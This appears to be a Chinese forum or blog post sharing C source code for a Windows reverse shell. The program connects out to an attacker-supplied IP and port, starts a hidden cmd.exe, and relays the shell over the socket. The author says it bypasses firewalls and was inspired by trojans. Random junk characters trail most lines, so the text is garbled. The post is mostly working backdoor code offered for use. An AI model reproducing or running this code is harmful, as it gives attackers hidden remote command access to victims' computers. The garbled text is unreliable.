Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 vVMoCG"f  
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/* ============================== @(c^u;  
Rebound port in Windows NT ;39b.v\^  
By wind,2006/7 Hya.OW{  
===============================*/ ^P{y^@XI  
#include I:t?#)wl  
#include :^W}$7$T  
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#pragma comment(lib,"wsock32.lib") yR~$i3Z*  
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void OutputShell(); Y*#xo7#B  
SOCKET sClient; _#
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >NPK;Vu  
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void main(int argc,char **argv) k5>UAea_  
{ Ytc[ kp  
WSADATA stWsaData; /*;a6S8q  
int nRet; '__>M>[  
SOCKADDR_IN stSaiClient,stSaiServer; 4IW fp&Q!  
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if(argc != 3) <}RD]Sc$1  
{ 'C}ku>B_r  
printf("Useage:\n\rRebound DestIP DestPort\n"); -'O|D}  
return; 2ih}?
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} Syseiw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $S' TW3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #)n$Q^9&  
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#  
stSaiClient.sin_family = AF_INET; ^>%.l'1/(  
stSaiClient.sin_port = htons(0); #9s)fR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,FP
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b5MU$}:  
{ `oe=K{aX  
printf("Bind Socket Failed!\n"); //N="9)@  
return; WL(Y1>|j  
} 9BP'[SM%),  
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stSaiServer.sin_family = AF_INET; D5xQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t{B@k[|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dSKvs"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u[KxI9Q  
{ s[a\m,  
printf("Connect Error!"); "c} en[  
return; ..h@QQ  
} q.R(>Zc
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OutputShell(); (`slC~"  
} E,\)tZ;,  
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void OutputShell() IAzFwlO9  
{ YJ6:O{AL1  
char szBuff[1024]; p&$PsgR  
SECURITY_ATTRIBUTES stSecurityAttributes; Ohgu*5!o  
OSVERSIONINFO stOsversionInfo; >`3F`@1L0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PSv 5tQhm  
STARTUPINFO stStartupInfo; 8&HBR #  
char *szShell; ;F- mt(Y  
PROCESS_INFORMATION stProcessInformation; iVnMn1h  
unsigned long lBytesRead; *jQ$\|Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ax\d{0/oL2  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LmyaC2  
stSecurityAttributes.lpSecurityDescriptor = 0; Uc_}="  
stSecurityAttributes.bInheritHandle = TRUE; &ZMQ]'&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sqpo5~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }D!tB  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L'a+1O1q&i  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oCE'@}s.i  
stStartupInfo.wShowWindow = SW_HIDE; LUxDP#~7  
stStartupInfo.hStdInput = hReadPipe; W$wX[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rs{8vV  
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GetVersionEx(&stOsversionInfo); uWClT):  
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switch(stOsversionInfo.dwPlatformId) (!8b$)k  
{ l'Za"TL:  
case 1: F{QOu0$cA4  
szShell = "command.com"; "0nsYE  
break; AH/^v;-  
default: [?:MIl#!  
szShell = "cmd.exe"; !_3b#Caf  
break; Z'9|
 
} @1xVWSF  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K"t?  
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send(sClient,szMsg,77,0); ID`C  
while(1) fBZLWfp9  
{ #?r|6<4X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PfU\.[l$  
if(lBytesRead) #>KiX84  
{ NwOV2E6@OW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6q'Q?Uw^  
send(sClient,szBuff,lBytesRead,0); 3rFku"zT$  
} |xZu?)M4  
else `peR,E  
{ " wT?$E  
lBytesRead=recv(sClient,szBuff,1024,0); xv2c8g~vD  
if(lBytesRead<=0) break; ^/}4M'[w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;{HDz$  
} 0U/[hG"DKN  
} KyT=:f V  
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return; a;KdkykG  
}